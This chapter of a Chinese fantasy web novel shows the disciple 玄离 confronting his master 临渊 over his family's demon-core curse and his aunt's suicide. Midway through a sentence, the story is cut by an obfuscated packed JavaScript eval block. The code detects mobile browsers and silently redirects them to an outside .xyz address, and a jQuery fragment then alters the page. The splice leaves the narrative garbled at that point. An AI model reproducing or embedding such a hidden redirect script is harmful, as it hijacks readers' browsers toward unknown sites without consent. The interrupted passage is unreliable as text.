25. 你的心呢
作品:《我不服,我出剑!》 玄离呼吸一窒,呆呆看着临渊,眼前一片空白。
时晏轻声喊了一声“师傅”,玄离慢慢回神,慢慢呼出了一口气。
初一那天的夜宴,他已经意识到他该下山了,但“下山”这两个字从临渊口里说出,他依旧震惊不已。他张了张口,没有发出任何声音。
临渊问他要不要下山,意味着他要面临死别。
临渊没有理会玄离的沉默,他看着时晏,“明天给你们行冠礼,你们就下山去吧!”说完把伞递给了玄止,他越过玄离,一步一步往山顶走。
时晏看着他的背影,又看了一眼玄止,他真正要办的,是小宝的及笄礼吧。
雪下得更大了,玄止撑着伞走过来,站在时晏和玄离中间,她的伞倾向了玄离,“大师兄,你没事吧?”
玄离木木地转头看着她,“小九,你害怕吗?”
玄止被玄离的问题问住,一时不知怎么回答,在玄离看不见的角落,时晏抓住了玄止的手。她侧过头看了一眼时晏,又转过身来,看着玄离,“大师兄,我怕黑,但是天总是要黑的,而太阳一定会升起来的。”
玄离的神情茫然而无助,他听懂玄止的意思。
玄止继续劝道:“大师兄,雪太大了,我们进屋里去吧!”她走到他身后,为他撑着伞。
玄离麻木地点点头,走回道浮光院已经失了神,玄止没有和他再多聊天。他进了房间,玄止和时晏看着他失魂落魄的样子,都自觉地退了出去。
玄英上了山顶,问候了一下临渊,临渊交代不用在意他。众人也就如往常一样过日子。
等玄离醒来已经是傍晚,他睡得太久,梦里太乱,整个人昏昏沉沉。他推开窗,雪停了,寒冷的空气钻进肺里,玄离清醒了很多,他要去找临渊。
山顶的院子里都是积雪,临渊坐在石凳上,火炉噼里啪啦地燃烧,溢出的火光照射在积雪上,像点点星光。水已经烧沸腾了,玄离安静作揖,捧了一把雪花洗手,然后坐下泡茶,像临渊每次他出关在听风亭替他烹茶一样。
茶叶去年清明前采的,玄止制的岭雾,装了十小罐,八个师兄、师傅和时晏一人一罐,临渊的那份一直由玄离收着,这时节刚好用的上。玄离端了一杯放在临渊跟前,临渊睁开眼睛,院子里又点亮了几盏灯。
“这个茶叶和以前的不一样,”临渊闻了闻茶香,放下茶杯,“这茶叶是那悬崖上的摘的?”
断玉崖的峭壁上有一颗茶树,它的寿命可能比青崖观的历史还要长久,积年累月地吸收天地精华,茶叶里有一种特殊的香气,不仅能提神醒脑,也能安神助眠,它的功效由喝茶的人决定。
临渊嫌弃这个茶叶太香,已经很久没有采过那里的茶叶了。
玄离有点忐忑,“是,是断玉崖那棵老茶树上的。去年清明前,小九跨过长生谷,一点一点爬上去摘的。她故意不用灵力,而是虔诚地去采摘那些茶叶。”
关于玄止和蛇王桃夭的事情,玄离写信告诉过临渊,他还给吴庆华写信,但目前仙鹤还没回来。
玄止和时晏不想把这件事告诉赤烈夫妇,所以这件事只有临渊知道。他故意拿那里的茶叶来提醒临渊,蛇王的事还没有彻底解决。蛇王毕竟是一族之王,她和青崖观的梁子已经结下。
临渊端起来了茶杯,喝了一小口,“她真的天不怕地不怕,第一次用剑,就敢和大妖对阵。那蛇妖有四百多年的修行,稍有差池,死无葬身之地。”
“是弟子疏忽,差点酿成大祸。”玄离听出了临渊的意思,他没有责怪玄止之意,和他们一样,他更在意的是玄止的安危,临渊甚至他对玄止能全身而退有一种自信。
“蛇妖的事,我已经解决了!大妖思凡,问题说大不大,但是用妖丹喂养凡人始终不是正途,不知道那条蛇从哪里知道这个续命方式,玄止出手刚好也敲打一下山上其他的大妖。”
玄离不解,临渊说的解决是杀了蛇王的意思吗?
临渊看着疑惑的玄离,又喝了一小口茶,“我只是告诉她那人的转世在哪里而已,并给了她一滴奈河水,她喝了可以忘记和周玉的所有记忆,周玉转世之后喝了可以想起他们所有的过往,就看她怎么用那一滴水!”
“黄泉里的奈河水?”玄离的手在发抖,临渊竟然能随意出入黄泉,他忽然理解青白山的妖对临渊的畏惧到底从哪里而来,是对死亡的恐惧。
这是不是临渊能在他们濒死的时候出现的原因,如果临渊真的是神,他是不是应该叫死神。临渊到底是什么样的存在?玄离肯定地问道,“师傅一直都知道小九是谁对不对?”
临渊没有迟疑,也没有否认,“是,我知道。你们江家的事,我总是知道,所以你下山吧,你在这里已经二十八年了,太久了。”他放下了茶杯,给自己又倒了一杯,“你要验证的答案,我现在就可以告诉你。”
“师傅!”玄离低声嘶吼,“不要,不要,我会自己找到答案的!”
临渊专注地看着他,“有些事情,我还是想告诉你,江来的身上也有半颗妖丹,所以你身体里也有妖力,你的妖力和你的血肉在青白上得到了融合,变成了你的力量,所以你能轻易打败赤烈夫妇。”
玄离的双眼逐渐失去焦点,他的脑海里一片混沌,但他的意识非常清醒,他听清楚了临渊说的每一句话。
“你应该也猜到了,周玉承受不住蛇王妖丹的原因,就是你们江家世代练剑的原因,人间灵气太稀薄,妖力得不到修养就会变成死气。所以不管你们江家剑术练得多精湛,还是有猝死的风险。”
“如果你没有上山,又是那样敏感多思的性格,你这时候估计已经死了好几年了。”
玄离呼吸起伏太大,脸色涨红,眉头紧锁。怪不得他和玄止在桃夭剖妖丹喂养凡人这件事上如此反对,玄止更是那样快速察觉到桃夭的意图。
“所以我们江家人是外人杀不死的!除非我们自己结束自己的生命,像我小姑姑那样,毫不犹豫抹掉自己的脖子。”他笑着哭出来了,原来是这样,那半颗妖丹过了五百年还是那么神通!江家人不是得到了神的祝福,而是被得到了妖的诅咒。
临渊又喝了一杯茶,“不用觉得讽刺,玄止的做法没有错。”
“当时世间的妖并不多,人对妖的认识也很有限,但现在的妖多起来了,人也多起来了,人心叵测,妖心思单纯,若每只被爱情冲昏头脑的妖都舍妖丹给凡人,那天下会变成什么样子。幸运的是,周玉自我了结了,不然这件事更难处理。”
“收你们为徒也有这方面的考量,妖和人必须在一个被合理管控的范围内生存。”
“师傅果真博爱!”玄离擦掉了眼泪,“所以师傅想告诉我,我祖父半生筹划不过竹篮子打水一场空?我们江家付出了那样大的代价,到头来都一样?”
临渊放下杯子,看着有点失态的玄离,“也不算,至少你们江家扔掉了城主之位,江家继任家主的人都知道那半颗妖丹的事情,江贤认为江来因为那半颗妖丹杀生太多,所以报应在后世子孙身上。”
“妖丹给了江来想要的一切,而他江贤不想要妖丹的任何赠予。他想到的解决方法就是扔掉那些权势财富,扔掉城主之位,做回普通人家,经历普通人的命运。他兜了一个圈子,顺便搅动九州,好让你们江家退出旋涡中心。他做到了!”
多平静的描述,他果然什么都知道!他袖手旁观了这一切!
玄离手上的杯子摔倒在地上,他撑着桌子站了起来,他全身仿佛被刀扎火烧过一遍,疼得厉害,他嘶吼着质问临渊:“你为什么不告诉他这件事情无解,你为什么不阻止他!你有这个能力的!你什么不告诉他!”
他不愿意再称临渊为“师傅”。
临渊抬眸看他,“他在祠堂占卜,得到了他想要的答案,所以开始布局。与我何关?而且对于江贤而言,拯救江家的命运是他的命运,他自己选择的命,我不会干涉。”
玄离闻言内心的怒火一下子爆炸开来,他快速而决绝地桌上的东西全部横扫落地,“可是你干涉了我的命运,那天晚上,我绝对没有祈求被救,而你明明可以……”
他可以救下他父亲,救下他的小姑姑,他可以挽救江家和陈家的悲剧。
灯火摇曳,他睁大双眼看着临渊那张波澜不惊的脸,他迫切想要看到他的自责,一点点就够了。但是他太快泪流满面,他看不清临渊的神情。
“你到现在都认为你那天晚上真的只是在求死吗?江宁远,是你选择跟我走的,是你们自己选择了你们自己的命运!”
临渊站了起来,他看着玄离充满泪水的眼神,一字一句说道:“江与山的命运也是,她对这个世界兴致寥寥,生与死对她而言,没有区别。而且我的手,为什么要轻易伸出去。我对你们江家伸了手,是不是也要对陈家、吴家,对天下人都伸出手。”
“江宁远,我不是任你们予取予求的存在。”
“吴家?所以你还是放任了小九命运的形成?”
“也是,毕竟你是可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329005|182265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以眼睁睁看着我小姑姑自刎后,再飘点雪花覆盖遍地鲜血的人!”
玄离大声哭了出来,他身为局中人,无比渴望有人能救他于水火,渴望被偏爱是人的劣根性。他也哭临渊,他的心胸明明装了那么多人和妖,却不能装下他的爱人。
他的爱多么宽广,多么狭隘。他当强者,真是可怜,他应该不快乐的!
“那你那天晚上就不要出现,你应该让我死在那个月光明朗的黑夜里。”
临渊看着一地茶具碎片,他的声音很平静,“那天晚上,不管我有没有出现,你都不会死的。江州世家不信神威,他们要毁掉江与山的尸体,所以我比陈郁早出现了一会。”
狂风呼啸,玄离觉得自己并没有听清楚临渊的话,他没有听清那个名字,他也听不懂临渊的意思,他可以看着他小姑姑自杀,但却要保护好她的尸体!
他的脑海里洪水冲垮灭没了一切,他泡在长满水草的河里,不能呼吸,窒息和水压拖着他往更深处的黑暗里沉沦。
那一晚明亮得瘆人的月光理所当然地照亮了江宁远的身影。
玄离喉间一股腥甜涌了上来,他被强烈的情绪推倒了身躯,他的手拄着桌子,生生咽下那口血,他攥紧了拳头,抬头看向临渊,声嘶力竭喊了一句,“临渊!”
悲切的声音响彻山顶,连悬崖底也在回荡悲痛。
“你为什么这么残忍!”他有无数个为什么想要问出口,他想要冲上去拽着临渊的衣领打他,但是看着临渊那双眼睛,他的拳头放开了。
临渊还是居高临下,他看着痛哭流涕的玄离,不太理解,“你在责怪我比陈郁早出现?可是就算陈郁出现了,由他救下你,结局又能怎么样?”
临渊的话刺死了玄离的心,他说的没错!结局也能怎样呢?玄他跌坐在地上,又哭又笑,是啊,临渊应该做什么呢?他又有什么立场要求临渊为他做些什么呢?
临渊叹了口气,“我想要我告诉的是另一件事,你们江家人的命运也不是不可以改变。”
玄离闻言猛然抬起头,他不曾了解过临渊这个人。
“你练了二十八年的剑,你的心蕴含的能量不亚于那半颗妖丹,你可以挖出你的心给给他们,他们身体里的妖力由你的心脏滋养,在人间也能正常生活,子孙后代也不会再受妖力影响。”
“你放心,以你的修为,没有心不会死的,只不过你就必须得留在青白山,青白山会成为你的心脏。”
玄离看着临渊,忽然理解为何他能如此理直气壮,他反手擦掉了嘴角的血迹,他站直了身体,视线逐渐落在他的胸口处,哈哈哈大笑起来,笑着笑着眼泪却还是流了下来。
“原来是这样,原来是这颗心碍事。哈哈哈,我就是说你怎么能不痛,原来你的胸膛里空空荡荡,你没有心!你的心呢?给了谁?”临渊已经说完了他想说的话,转过身去。
玄离又开始大笑,“一定不是给了我小姑姑,不然她怎么会活不过十八岁呢!我这些年也在想,我小姑姑为什么会答应嫁给陈都姑父,为什么要爬山涉水客死他乡?我祖父的计划不管有没有我小姑姑的参与都会成功,她为什么就是要嫁到陈家呢?”
临渊停住了脚步,却没有回头。
“或许她想着在半路上,会有人不顾一切带她走!”
玄离看着临渊孤寂的背影,声音悲凉,“师傅,你今天早上注视着小九那么久,雪花落满你全身的时候,小九说她惜命的时候,你还是没有想清楚为什么我小姑姑不怕死吗?还是你从来就比她更清楚她的命运,她必死无疑!”
“我小姑姑对这个世界为何兴致寥寥,师傅真的不知道吗?”
他的声音逐渐弱了下来,“我小姑姑怎么会真的一心求死!”
临渊还是没有回头,没有停留,他径直走入室内,房门咯吱一声紧闭。
没有心,也会痛,一定要痛到不能言语,玄离希望门的后面是流泪满面的临渊。他流着泪环顾四周,仿佛这里就是临渊的胸膛空空荡荡,这里是临渊的囚牢,以后会是他的囚牢。
他不怕留在青白山度过漫长的岁月,可是他宁愿死去也不能失去感知。他不想变成临渊那样子的存在,可是从他选择跟临渊上山开始,似乎他就命该如此了。真是讽刺,好一个因果轮回。
玄离放声大笑,笑累了,擦干了眼泪,麻木地收拾完一地碎片,退了出去。
无风院又安静的像个孤岛,无风院一直都是孤岛,连风都没有的地方怎么会是好地方。